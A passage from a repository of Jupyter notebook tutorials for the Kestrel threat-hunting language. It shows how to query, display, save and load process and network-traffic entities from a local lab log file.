\n", 105 | " \n", 106 | " \n", 107 | " \n", 108 | " \n", 109 | " \n", 110 | " \n", 111 | " \n", 112 | " \n", 113 | " \n", 114 | " \n", 115 | " \n", 116 | " \n", 117 | " \n", 118 | " \n", 119 | " \n", 120 | " \n", 121 | " \n", 122 | " \n", 123 | " \n", 124 | " \n", 125 | " \n", 126 | " \n", 127 | " \n", 128 | " \n", 129 | " \n", 130 | " \n", 131 | " \n", 132 | " \n", 133 | " \n", 134 | " \n", 135 | " \n", 136 | " \n", 137 | " \n", 138 | " \n", 139 | " \n", 140 | " \n", 141 | " \n", 142 | " \n", 143 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)directory*file*ipv4-addr*ipv6-addr*mac-addr*process*user-account*x-ecs-process*x-ecs-user*x-oca-asset*x-oca-event*
schedulerprocess18182336361818181818181818

*Number of related records cached.

" 144 | ] 145 | }, 146 | "metadata": {}, 147 | "output_type": "display_data" 148 | } 149 | ], 150 | "source": [ 151 | "# get scheduler process\n", 152 | "scheduler = GET process\n", 153 | " FROM file:///tmp/lab101.json\n", 154 | " WHERE pid = 2224\n", 155 | " START 2021-04-03T00:00:00Z STOP 2021-04-04T00:00:00Z\n", 156 | " \n", 157 | "# show details of variable `scheduler`\n", 158 | "INFO scheduler" 159 | ] 160 | }, 161 | { 162 | "cell_type": "markdown", 163 | "id": "1b86625f", 164 | "metadata": {}, 165 | "source": [ 166 | "### 2. How to display entities with complete information in a variable?\n", 167 | "\n", 168 | "Just do `DISP varx` to display all entities with all attributes in variable `varx`:" 169 | ] 170 | }, 171 | { 172 | "cell_type": "code", 173 | "execution_count": 2, 174 | "id": "6a648af8", 175 | "metadata": {}, 176 | "outputs": [ 177 | { 178 | "name": "stderr", 179 | "output_type": "stream", 180 | "text": [] 181 | }, 182 | { 183 | "data": { 184 | "text/html": [ 185 | "\n", 186 | " \n", 187 | " \n", 188 | " \n", 189 | " \n", 190 | " \n", 191 | " \n", 192 | " \n", 193 | " \n", 194 | " \n", 195 | " \n", 196 | " \n", 197 | " \n", 198 | " \n", 199 | " \n", 200 | " \n", 201 | " \n", 202 | " \n", 203 | " \n", 204 | " \n", 205 | " \n", 206 | " \n", 207 | " \n", 208 | " \n", 209 | " \n", 210 | " \n", 211 | " \n", 212 | " \n", 213 | " \n", 214 | " \n", 215 | " \n", 216 | " \n", 217 | " \n", 218 | " \n", 219 | " \n", 220 | " \n", 221 | " \n", 222 | " \n", 223 | " \n", 224 | " \n", 225 | " \n", 226 | " \n", 227 | " \n", 228 | " \n", 229 | " \n", 230 | " \n", 231 | " \n", 232 | " \n", 233 | " \n", 234 | " \n", 235 | " \n", 236 | " \n", 237 | " \n", 238 | " \n", 239 | " \n", 240 | " \n", 241 | " \n", 242 | " \n", 243 | " \n", 244 | " \n", 245 | " \n", 246 | " \n", 247 | " \n", 248 | " \n", 249 | " \n", 250 | " \n", 251 | " \n", 252 | " \n", 253 | " \n", 254 | " \n", 255 | " \n", 256 | " \n", 257 | " \n", 258 | " \n", 259 | " \n", 260 | " \n", 261 | " \n", 262 | " \n", 263 | " \n", 264 | " \n", 265 | " \n", 266 | " \n", 267 | " \n", 268 | " \n", 269 | " \n", 270 | " \n", 271 | " \n", 272 | " \n", 273 | " \n", 274 | " \n", 275 | " \n", 276 | " \n", 277 | " \n", 278 | " \n", 279 | " \n", 280 | " \n", 281 | " \n", 282 | " \n", 283 | " \n", 284 | " \n", 285 | " \n", 286 | " \n", 287 | " \n", 288 | " \n", 289 | " \n", 290 | " \n", 291 | " \n", 292 | " \n", 293 | " \n", 294 | " \n", 295 | " \n", 296 | " \n", 297 | " \n", 298 | " \n", 299 | " \n", 300 | " \n", 301 | " \n", 302 | " \n", 303 | " \n", 304 | " \n", 305 | " \n", 306 | " \n", 307 | " \n", 308 | " \n", 309 | " \n", 310 | " \n", 311 | " \n", 312 | " \n", 313 | " \n", 314 | " \n", 315 | " \n", 316 | " \n", 317 | " \n", 318 | " \n", 319 | " \n", 320 | " \n", 321 | " \n", 322 | " \n", 323 | " \n", 324 | " \n", 325 | " \n", 326 | " \n", 327 | " \n", 328 | " \n", 329 | " \n", 330 | " \n", 331 | " \n", 332 | " \n", 333 | " \n", 334 | " \n", 335 | " \n", 336 | " \n", 337 | " \n", 338 | " \n", 339 | " \n", 340 | " \n", 341 | " \n", 342 | " \n", 343 | " \n", 344 | " \n", 345 | " \n", 346 | " \n", 347 | " \n", 348 | " \n", 349 | " \n", 350 | " \n", 351 | " \n", 352 | " \n", 353 | " \n", 354 | " \n", 355 | " \n", 356 | " \n", 357 | " \n", 358 | " \n", 359 | " \n", 360 | " \n", 361 | " \n", 362 | " \n", 363 | " \n", 364 | " \n", 365 | " \n", 366 | " \n", 367 | " \n", 368 | " \n", 369 | " \n", 370 | " \n", 371 | " \n", 372 | " \n", 373 | " \n", 374 | " \n", 375 | " \n", 376 | " \n", 377 | " \n", 378 | " \n", 379 | " \n", 380 | " \n", 381 | " \n", 382 | " \n", 383 | " \n", 384 | " \n", 385 | " \n", 386 | " \n", 387 | " \n", 388 | " \n", 389 | " \n", 390 | " \n", 391 | " \n", 392 | " \n", 393 | " \n", 394 | " \n", 395 | " \n", 396 | " \n", 397 | " \n", 398 | " \n", 399 | " \n", 400 | " \n", 401 | " \n", 402 | " \n", 403 | " \n", 404 | " \n", 405 | " \n", 406 | " \n", 407 | " \n", 408 | " \n", 409 | " \n", 410 | " \n", 411 | " \n", 412 | " \n", 413 | " \n", 414 | " \n", 415 | " \n", 416 | " \n", 417 | " \n", 418 | " \n", 419 | " \n", 420 | " \n", 421 | " \n", 422 | " \n", 423 | " \n", 424 | " \n", 425 | " \n", 426 | " \n", 427 | " \n", 428 | " \n", 429 | " \n", 430 | " \n", 431 | " \n", 432 | " \n", 433 | " \n", 434 | " \n", 435 | " \n", 436 | " \n", 437 | " \n", 438 | " \n", 439 | " \n", 440 | " \n", 441 | " \n", 442 | " \n", 443 | " \n", 444 | " \n", 445 | " \n", 446 | " \n", 447 | " \n", 448 | " \n", 449 | " \n", 450 | " \n", 451 | " \n", 452 | " \n", 453 | " \n", 454 | " \n", 455 | " \n", 456 | " \n", 457 | " \n", 458 | " \n", 459 | " \n", 460 | " \n", 461 | " \n", 462 | " \n", 463 | " \n", 464 | " \n", 465 | " \n", 466 | " \n", 467 | " \n", 468 | " \n", 469 | " \n", 470 | " \n", 471 | " \n", 472 | " \n", 473 | " \n", 474 | " \n", 475 | " \n", 476 | " \n", 477 | " \n", 478 | " \n", 479 | " \n", 480 | " \n", 481 | " \n", 482 | " \n", 483 | " \n", 484 | " \n", 485 | " \n", 486 | " \n", 487 | " \n", 488 | " \n", 489 | " \n", 490 | " \n", 491 | " \n", 492 | " \n", 493 | " \n", 494 | " \n", 495 | " \n", 496 | " \n", 497 | " \n", 498 | " \n", 499 | " \n", 500 | " \n", 501 | " \n", 502 | " \n", 503 | " \n", 504 | " \n", 505 | " \n", 506 | " \n", 507 | " \n", 508 | " \n", 509 | " \n", 510 | " \n", 511 | " \n", 512 | " \n", 513 | " \n", 514 | " \n", 515 | " \n", 516 | " \n", 517 | " \n", 518 | " \n", 519 | " \n", 520 | " \n", 521 | " \n", 522 | " \n", 523 | " \n", 524 | " \n", 525 | " \n", 526 | " \n", 527 | " \n", 528 | " \n", 529 | " \n", 530 | " \n", 531 | " \n", 532 | " \n", 533 | " \n", 534 | " \n", 535 | " \n", 536 | " \n", 537 | " \n", 538 | " \n", 539 | " \n", 540 | " \n", 541 | " \n", 542 | " \n", 543 | " \n", 544 | " \n", 545 | " \n", 546 | " \n", 547 | " \n", 548 | " \n", 549 | " \n", 550 | " \n", 551 | " \n", 552 | " \n", 553 | " \n", 554 | " \n", 555 | " \n", 556 | " \n", 557 | " \n", 558 | " \n", 559 | " \n", 560 | " \n", 561 | " \n", 562 | " \n", 563 | " \n", 564 | " \n", 565 | " \n", 566 | " \n", 567 | " \n", 568 | " \n", 569 | " \n", 570 | " \n", 571 | " \n", 572 | " \n", 573 | " \n", 574 | " \n", 575 | " \n", 576 | " \n", 577 | " \n", 578 | " \n", 579 | " \n", 580 | " \n", 581 | " \n", 582 | " \n", 583 | " \n", 584 | " \n", 585 | " \n", 586 | " \n", 587 | " \n", 588 | " \n", 589 | " \n", 590 | " \n", 591 | " \n", 592 | " \n", 593 | " \n", 594 | " \n", 595 | " \n", 596 | " \n", 597 | " \n", 598 | " \n", 599 | " \n", 600 | " \n", 601 | " \n", 602 | " \n", 603 | " \n", 604 | " \n", 605 | " \n", 606 | " \n", 607 | " \n", 608 | " \n", 609 | " \n", 610 | " \n", 611 | " \n", 612 | " \n", 613 | " \n", 614 | " \n", 615 | " \n", 616 | " \n", 617 | " \n", 618 | " \n", 619 | " \n", 620 | " \n", 621 | " \n", 622 | " \n", 623 | " \n", 624 | " \n", 625 | " \n", 626 | " \n", 627 | " \n", 628 | " \n", 629 | " \n", 630 | " \n", 631 | " \n", 632 | " \n", 633 | " \n", 634 | " \n", 635 | " \n", 636 | " \n", 637 | " \n", 638 | " \n", 639 | " \n", 640 | " \n", 641 | " \n", 642 | " \n", 643 | " \n", 644 | " \n", 645 | " \n", 646 | " \n", 647 | " \n", 648 | " \n", 649 | " \n", 650 | " \n", 651 | " \n", 652 | " \n", 653 | " \n", 654 | " \n", 655 | " \n", 656 | " \n", 657 | " \n", 658 | " \n", 659 | " \n", 660 | " \n", 661 | " \n", 662 | " \n", 663 | " \n", 664 | " \n", 665 | " \n", 666 | " \n", 667 | " \n", 668 | " \n", 669 | " \n", 670 | " \n", 671 | " \n", 672 | " \n", 673 | " \n", 674 | " \n", 675 | " \n", 676 | " \n", 677 | " \n", 678 | " \n", 679 | " \n", 680 | " \n", 681 | " \n", 682 | " \n", 683 | " \n", 684 | " \n", 685 | " \n", 686 | " \n", 687 | " \n", 688 | " \n", 689 | " \n", 690 | " \n", 691 | " \n", 692 | " \n", 693 | " \n", 694 | " \n", 695 | " \n", 696 | " \n", 697 | " \n", 698 | " \n", 699 | " \n", 700 | " \n", 701 | " \n", 702 | " \n", 703 | " \n", 704 | " \n", 705 | " \n", 706 | " \n", 707 | " \n", 708 | " \n", 709 | " \n", 710 | " \n", 711 | " \n", 712 | " \n", 713 | " \n", 714 | " \n", 715 | " \n", 716 | " \n", 717 | " \n", 718 | " \n", 719 | " \n", 720 | " \n", 721 | " \n", 722 | "
namepidcommand_lineidbinary_ref.namebinary_ref.idbinary_ref.parent_directory_ref.pathbinary_ref.parent_directory_ref.idparent_ref.nameparent_ref.pidparent_ref.command_lineparent_ref.idparent_ref.parent_ref.nameparent_ref.parent_ref.pidparent_ref.parent_ref.command_lineparent_ref.parent_ref.idparent_ref.binary_ref.nameparent_ref.binary_ref.idparent_ref.binary_ref.parent_directory_ref.pathparent_ref.binary_ref.parent_directory_ref.idparent_ref.creator_user_ref.user_idparent_ref.creator_user_ref.account_loginparent_ref.creator_user_ref.idcreator_user_ref.user_idcreator_user_ref.account_logincreator_user_ref.id
svchost.exe2224C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Scheduleprocess--30e7a4cf-b85c-5b3b-b42c-3b01b2be38b6svchost.exefile--c06257ed-0660-5c56-9724-386f6160cfb1C:\\Windows\\System32directory--0a58d0c1-59e6-5afd-8252-dcd3f13e5622NoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNone
svchost.exe2224C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Scheduleprocess--56e3ea5d-8c21-5e32-9860-84398d14d0b1svchost.exefile--c06257ed-0660-5c56-9724-386f6160cfb1C:\\Windows\\System32directory--0a58d0c1-59e6-5afd-8252-dcd3f13e5622NoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNone
svchost.exe2224C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Scheduleprocess--629fadb1-88d6-568f-8dfd-fbb7d57dc9bfsvchost.exefile--c06257ed-0660-5c56-9724-386f6160cfb1C:\\Windows\\System32directory--0a58d0c1-59e6-5afd-8252-dcd3f13e5622NoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNone
svchost.exe2224C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Scheduleprocess--65b4d7a7-99b8-5e91-bd12-275acdd65e1csvchost.exefile--c06257ed-0660-5c56-9724-386f6160cfb1C:\\Windows\\System32directory--0a58d0c1-59e6-5afd-8252-dcd3f13e5622NoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNone
svchost.exe2224C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Scheduleprocess--665e8720-7e7e-57f0-97c0-80dd105b86c2svchost.exefile--c06257ed-0660-5c56-9724-386f6160cfb1C:\\Windows\\System32directory--0a58d0c1-59e6-5afd-8252-dcd3f13e5622NoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNone
svchost.exe2224C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Scheduleprocess--6dc3eccd-bd4c-5f09-bd8f-5049e739ba41svchost.exefile--c06257ed-0660-5c56-9724-386f6160cfb1C:\\Windows\\System32directory--0a58d0c1-59e6-5afd-8252-dcd3f13e5622NoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNone
svchost.exe2224C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Scheduleprocess--89e3b7c5-6269-518b-ad71-90ccca50e7c8svchost.exefile--c06257ed-0660-5c56-9724-386f6160cfb1C:\\Windows\\System32directory--0a58d0c1-59e6-5afd-8252-dcd3f13e5622NoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNone
svchost.exe2224C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Scheduleprocess--98f2c7bc-2474-5ccf-8629-8a1faf5abbaesvchost.exefile--c06257ed-0660-5c56-9724-386f6160cfb1C:\\Windows\\System32directory--0a58d0c1-59e6-5afd-8252-dcd3f13e5622NoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNone
svchost.exe2224C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Scheduleprocess--babe4e3a-f45a-5eec-97f6-a86f5f0c68a5svchost.exefile--c06257ed-0660-5c56-9724-386f6160cfb1C:\\Windows\\System32directory--0a58d0c1-59e6-5afd-8252-dcd3f13e5622NoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNone
svchost.exe2224C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Scheduleprocess--bc287e51-44ca-5056-9784-039af1a97ed2svchost.exefile--c06257ed-0660-5c56-9724-386f6160cfb1C:\\Windows\\System32directory--0a58d0c1-59e6-5afd-8252-dcd3f13e5622NoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNone
svchost.exe2224C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Scheduleprocess--c37cabf8-79f6-5cdb-b725-5b2f9e88eb0csvchost.exefile--c06257ed-0660-5c56-9724-386f6160cfb1C:\\Windows\\System32directory--0a58d0c1-59e6-5afd-8252-dcd3f13e5622NoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNone
svchost.exe2224C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Scheduleprocess--c473c5c2-246a-5d9e-b532-1d5689d29057svchost.exefile--c06257ed-0660-5c56-9724-386f6160cfb1C:\\Windows\\System32directory--0a58d0c1-59e6-5afd-8252-dcd3f13e5622NoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNone
svchost.exe2224C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Scheduleprocess--cd9d5d2c-15c4-5cb5-9266-6bfc95a3abe4svchost.exefile--c06257ed-0660-5c56-9724-386f6160cfb1C:\\Windows\\System32directory--0a58d0c1-59e6-5afd-8252-dcd3f13e5622NoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNone
svchost.exe2224C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Scheduleprocess--de03aeac-dd23-5773-9090-9d7678cbf2fasvchost.exefile--c06257ed-0660-5c56-9724-386f6160cfb1C:\\Windows\\System32directory--0a58d0c1-59e6-5afd-8252-dcd3f13e5622NoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNone
svchost.exe2224C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Scheduleprocess--e37d2a13-da7c-5ebc-9840-4e921971a6e0svchost.exefile--c06257ed-0660-5c56-9724-386f6160cfb1C:\\Windows\\System32directory--0a58d0c1-59e6-5afd-8252-dcd3f13e5622NoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNone
svchost.exe2224C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Scheduleprocess--e51b7cab-df30-5c4d-bfa4-1645bfa9cc9esvchost.exefile--c06257ed-0660-5c56-9724-386f6160cfb1C:\\Windows\\System32directory--0a58d0c1-59e6-5afd-8252-dcd3f13e5622NoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNone
svchost.exe2224C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Scheduleprocess--e839a8a2-bc1b-5246-978c-655cd3b11171svchost.exefile--c06257ed-0660-5c56-9724-386f6160cfb1C:\\Windows\\System32directory--0a58d0c1-59e6-5afd-8252-dcd3f13e5622NoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNone
svchost.exe2224C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Scheduleprocess--eb6962a8-371f-5142-963e-1aa1cb2d5fb5svchost.exefile--c06257ed-0660-5c56-9724-386f6160cfb1C:\\Windows\\System32directory--0a58d0c1-59e6-5afd-8252-dcd3f13e5622NoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNone
" 723 | ] 724 | }, 725 | "metadata": {}, 726 | "output_type": "display_data" 727 | } 728 | ], 729 | "source": [ 730 | "DISP scheduler" 731 | ] 732 | }, 733 | { 734 | "cell_type": "markdown", 735 | "id": "3b70872f", 736 | "metadata": {}, 737 | "source": [ 738 | "### 3. How to display select attributes of entities in a variable?\n", 739 | "\n", 740 | "You may find the table above actually displays the same entity (process) multiple times, because the entity is referred in different [records/logs](https://kestrel.readthedocs.io/en/stable/language/tac.html#record), each of which gives different attributes of the entity.\n", 741 | "\n", 742 | "You may not need to know the `id` attribute of the entity, which is a Kestrel internal data structure when caching the entitiy. To select attibutes to display, and to automatically deduplicate entities which share the same attributes, you can use the `ATTR` clause of [DISP](https://kestrel.readthedocs.io/en/stable/language/commands.html#disp):" 743 | ] 744 | }, 745 | { 746 | "cell_type": "code", 747 | "execution_count": 3, 748 | "id": "f50a4bf7", 749 | "metadata": {}, 750 | "outputs": [ 751 | { 752 | "name": "stderr", 753 | "output_type": "stream", 754 | "text": [] 755 | }, 756 | { 757 | "data": { 758 | "text/html": [ 759 | "\n", 760 | " \n", 761 | " \n", 762 | " \n", 763 | " \n", 764 | " \n", 765 | " \n", 766 | " \n", 767 | " \n", 768 | " \n", 769 | " \n", 770 | " \n", 771 | " \n", 772 | " \n", 773 | " \n", 774 | "
namepidcommand_line
svchost.exe2224C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule
" 775 | ] 776 | }, 777 | "metadata": {}, 778 | "output_type": "display_data" 779 | } 780 | ], 781 | "source": [ 782 | "DISP scheduler ATTR name, pid, command_line" 783 | ] 784 | }, 785 | { 786 | "cell_type": "markdown", 787 | "id": "95812259", 788 | "metadata": {}, 789 | "source": [ 790 | "### 4. What are the common attributes for a type of entitiy?\n", 791 | "\n", 792 | "You can find the attributes of a type of entitiy in [STIX SCO docs](https://docs.oasis-open.org/cti/stix/v2.1/csprd01/stix-v2.1-csprd01.html#_Toc16070680).\n", 793 | "\n", 794 | "A quickly way is to use `INFO` and get familar with the common attributes:\n", 795 | "- `process`: `name`, `pid`, `command_line`\n", 796 | "- `file`: `name`, `parent_directory_ref.path`\n", 797 | "- `ipv4-addr`: `value`\n", 798 | "- `user-account`: `user_id`\n", 799 | "- `windows-registry-key`: `key`, `values`\n", 800 | "- `network-traffic`: `src_ref.value`, `src_port`, `dst_ref.value`, `dst_port`" 801 | ] 802 | }, 803 | { 804 | "cell_type": "markdown", 805 | "id": "b9683552", 806 | "metadata": {}, 807 | "source": [ 808 | "### 5. Exercise: get and disp remote IPs from the monitored host\n", 809 | "\n", 810 | "The monitored host has local IP `10.171.5.141`.\n", 811 | "1. Get all `network-traffic` on the day `2021-04-03` from the host (data source: `file:///tmp/lab101.json`).\n", 812 | "2. Display all remote/destination IPs of the `network-traffic` entities.\n", 813 | "\n", 814 | "Tip: press `TAB` to auto-complete a variable name if the variable has been created in the hunt." 815 | ] 816 | }, 817 | { 818 | "cell_type": "code", 819 | "execution_count": null, 820 | "id": "087747cf", 821 | "metadata": {}, 822 | "outputs": [], 823 | "source": [] 824 | } 825 | ], 826 | "metadata": { 827 | "kernelspec": { 828 | "display_name": "Kestrel", 829 | "language": "kestrel", 830 | "name": "kestrel" 831 | }, 832 | "language_info": { 833 | "file_extension": ".hf", 834 | "name": "kestrel" 835 | } 836 | }, 837 | "nbformat": 4, 838 | "nbformat_minor": 5 839 | } 840 | -------------------------------------------------------------------------------- /tutorial/7. Save and Load a Variable.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "id": "48963b14", 6 | "metadata": {}, 7 | "source": [ 8 | "# Save and Load a Variable\n", 9 | "\n", 10 | "You can save/dump a variable to disk and load it from disk into another hunt. The capability also enables the [Docker analytics interface](https://kestrel.readthedocs.io/en/latest/source/kestrel_analytics_docker.interface.html):\n", 11 | "- dump variables from the Kestrel runtime and feed them to the analytics running in Docker, and\n", 12 | "- load variables back from the analytics to Kestrel runtime." 13 | ] 14 | }, 15 | { 16 | "cell_type": "markdown", 17 | "id": "6ab9e16a", 18 | "metadata": {}, 19 | "source": [ 20 | "## What you will learn\n", 21 | "\n", 22 | "0. Command for save/load variables\n", 23 | "1. How to `SAVE` a variable to disk?\n", 24 | "2. How to `LOAD` a variable from disk?\n", 25 | "3. Exercise: load a variable in another hunt book" 26 | ] 27 | }, 28 | { 29 | "cell_type": "markdown", 30 | "id": "78c75dbe", 31 | "metadata": {}, 32 | "source": [ 33 | "### 0. Command for save/load variables\n", 34 | "\n", 35 | "The commands for save/dump and load variables are:\n", 36 | "- [SAVE](https://kestrel.readthedocs.io/en/stable/language/commands.html#save)\n", 37 | "- [LOAD](https://kestrel.readthedocs.io/en/stable/language/commands.html#load)" 38 | ] 39 | }, 40 | { 41 | "cell_type": "markdown", 42 | "id": "063101c0", 43 | "metadata": {}, 44 | "source": [ 45 | "### 1. How to `SAVE` a variable to disk?" 46 | ] 47 | }, 48 | { 49 | "cell_type": "code", 50 | "execution_count": 1, 51 | "id": "555ebb6c", 52 | "metadata": {}, 53 | "outputs": [ 54 | { 55 | "name": "stderr", 56 | "output_type": "stream", 57 | "text": [] 58 | }, 59 | { 60 | "data": { 61 | "text/html": [ 62 | "

Block Executed in 2 seconds

\n", 63 | " \n", 64 | " \n", 65 | " \n", 66 | " \n", 67 | " \n", 68 | " \n", 69 | " \n", 70 | " \n", 71 | " \n", 72 | " \n", 73 | " \n", 74 | " \n", 75 | " \n", 76 | " \n", 77 | " \n", 78 | " \n", 79 | " \n", 80 | " \n", 81 | " \n", 82 | " \n", 83 | " \n", 84 | " \n", 85 | " \n", 86 | " \n", 87 | " \n", 88 | " \n", 89 | " \n", 90 | " \n", 91 | " \n", 92 | " \n", 93 | " \n", 94 | " \n", 95 | " \n", 96 | " \n", 97 | " \n", 98 | " \n", 99 | " \n", 100 | " \n", 101 | " \n", 102 | " \n", 103 | " \n", 104 | " \n", 105 | " \n", 106 | " \n", 107 | " \n", 108 | " \n", 109 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)directory*file*ipv4-addr*ipv6-addr*mac-addr*network-traffic*process*user-account*x-ecs-destination*x-ecs-network*x-ecs-process*x-ecs-source*x-ecs-user*x-oca-asset*x-oca-event*
connsnetwork-traffic425504504504153492650479504504504504504504504504504

*Number of related records cached.

" 110 | ] 111 | }, 112 | "metadata": {}, 113 | "output_type": "display_data" 114 | } 115 | ], 116 | "source": [ 117 | "conns = GET network-traffic\n", 118 | " FROM file:///tmp/lab101.json\n", 119 | " WHERE dst_port > 0\n", 120 | "\n", 121 | "# 3 file formats are supported, including the gziped parquet used here\n", 122 | "# check doc for details: https://kestrel.readthedocs.io/en/latest/language.html#save\n", 123 | "SAVE conns TO /tmp/kestrel_hunt_1_conns.parquet.gz" 124 | ] 125 | }, 126 | { 127 | "cell_type": "markdown", 128 | "id": "69413203", 129 | "metadata": {}, 130 | "source": [ 131 | "### 2. How to `LOAD` a variable from disk?" 132 | ] 133 | }, 134 | { 135 | "cell_type": "code", 136 | "execution_count": 2, 137 | "id": "d0f51ef7", 138 | "metadata": {}, 139 | "outputs": [ 140 | { 141 | "name": "stderr", 142 | "output_type": "stream", 143 | "text": [] 144 | }, 145 | { 146 | "data": { 147 | "text/html": [ 148 | "

Block Executed in 1 seconds

\n", 149 | " \n", 150 | " \n", 151 | " \n", 152 | " \n", 153 | " \n", 154 | " \n", 155 | " \n", 156 | " \n", 157 | " \n", 158 | " \n", 159 | " \n", 160 | " \n", 161 | " \n", 162 | " \n", 163 | " \n", 164 | " \n", 165 | " \n", 166 | " \n", 167 | " \n", 168 | " \n", 169 | " \n", 170 | " \n", 171 | " \n", 172 | " \n", 173 | " \n", 174 | " \n", 175 | " \n", 176 | " \n", 177 | " \n", 178 | " \n", 179 | " \n", 180 | " \n", 181 | " \n", 182 | " \n", 183 | " \n", 184 | " \n", 185 | " \n", 186 | " \n", 187 | " \n", 188 | " \n", 189 | " \n", 190 | " \n", 191 | " \n", 192 | " \n", 193 | " \n", 194 | " \n", 195 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)directory*file*ipv4-addr*ipv6-addr*mac-addr*network-traffic*process*user-account*x-ecs-destination*x-ecs-network*x-ecs-process*x-ecs-source*x-ecs-user*x-oca-asset*x-oca-event*
conns2network-traffic425504000000000000000

*Number of related records cached.

" 196 | ] 197 | }, 198 | "metadata": {}, 199 | "output_type": "display_data" 200 | } 201 | ], 202 | "source": [ 203 | "conns2 = LOAD /tmp/kestrel_hunt_1_conns.parquet.gz" 204 | ] 205 | }, 206 | { 207 | "cell_type": "markdown", 208 | "id": "213bf6d9", 209 | "metadata": {}, 210 | "source": [ 211 | "### 3. Exercise: load a variable in another hunt book\n", 212 | "\n", 213 | "1. Go to menu: `File -> New Notebook -> Kestrel` to create a new hunt book.\n", 214 | "2. Use the `LOAD` command to load `/tmp/kestrel_hunt_1_conns.parquet.gz` into the new hunt book.\n", 215 | "3. Add a new hunt step that uses the newly loaded variable." 216 | ] 217 | }, 218 | { 219 | "cell_type": "code", 220 | "execution_count": null, 221 | "id": "f47249c9", 222 | "metadata": {}, 223 | "outputs": [], 224 | "source": [] 225 | } 226 | ], 227 | "metadata": { 228 | "kernelspec": { 229 | "display_name": "Kestrel", 230 | "language": "kestrel", 231 | "name": "kestrel" 232 | }, 233 | "language_info": { 234 | "file_extension": ".hf", 235 | "name": "kestrel" 236 | } 237 | }, 238 | "nbformat": 4, 239 | "nbformat_minor": 5 240 | } 241 | --------------------------------------------------------------------------------